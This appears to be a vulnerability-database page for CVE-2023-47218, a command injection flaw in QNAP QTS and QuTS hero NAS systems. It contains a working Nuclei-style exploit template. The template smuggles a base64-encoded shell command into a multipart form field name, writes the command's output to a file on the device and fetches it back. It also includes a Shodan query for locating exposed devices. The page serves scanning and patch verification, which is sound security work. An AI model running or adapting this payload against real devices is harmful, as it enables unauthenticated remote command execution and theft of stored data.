CVE-2023-47218: QNAP QTS and QuTS Hero - OS Command Injection

2025-08-01 QNAP QTS PoC Public

Description

An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.

PoC

id: CVE-2023-47218

info:
  name: QNAP QTS and QuTS Hero - OS Command Injection
  author: ritikchaddha
  severity: medium
  description: |
    An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.
  impact: |
    Unauthenticated attackers on the local network can execute arbitrary commands remotely, potentially compromising NAS devices and stored data.
  remediation: |
    Update to QTS 5.1.5.2645 build 20240116 or later, QuTS hero h5.1.5.2647 build 20240118 or later, or QuTScloud c5.1.5.2651 or later.
  reference:
    - https://github.com/passwa11/CVE-2023-47218
    - https://twitter.com/win3zz/status/1760224052289888668/photo/3
    - https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47218
    - https://www.qnap.com/en/security-advisory/qsa-23-57
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 5.8
    cve-id: CVE-2023-47218
    cwe-id: CWE-77
    epss-score: 0.8992
    epss-percentile: 0.99785
    cpe: cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: ssl.cert.issuer.cn:"QNAP NAS",title:"QNAP Turbo NAS"
    product: qts
    vendor: qnap
  tags: cve,cve2023,qnap,qts,quts,rce,intrusive,vkev,vuln
variables:
  file: '{{rand_base(6)}}'
  cmd: '%22$($(echo -n aWQ=|base64 -d)>{{file}})%22'

http:
  - raw:
      - |
        POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary="avssqwfz"

        --avssqwfz
        Content-Disposition: form-data; xxpcscma="field2"; zczqildp="{{cmd}}"
        Content-Type: text/plain

        skfqduny
        --avssqwfz–

      - |
        POST /cgi-bin/quick/{{file}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1, "code\": 200", "full_path_filename success")'
          - 'contains_all(body_2, "uid=", "gid=")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502207eb99653e9f768a509e1d79c2b8c94c7ce06b3cd0c4e1abf817c293fb1b74da0022100b0896f01dcdd510535d04bf84cc9d0b1d3a2233dba3691c710f1d59aab6d32e7:922c64590222798bb761d5b6d8e72950

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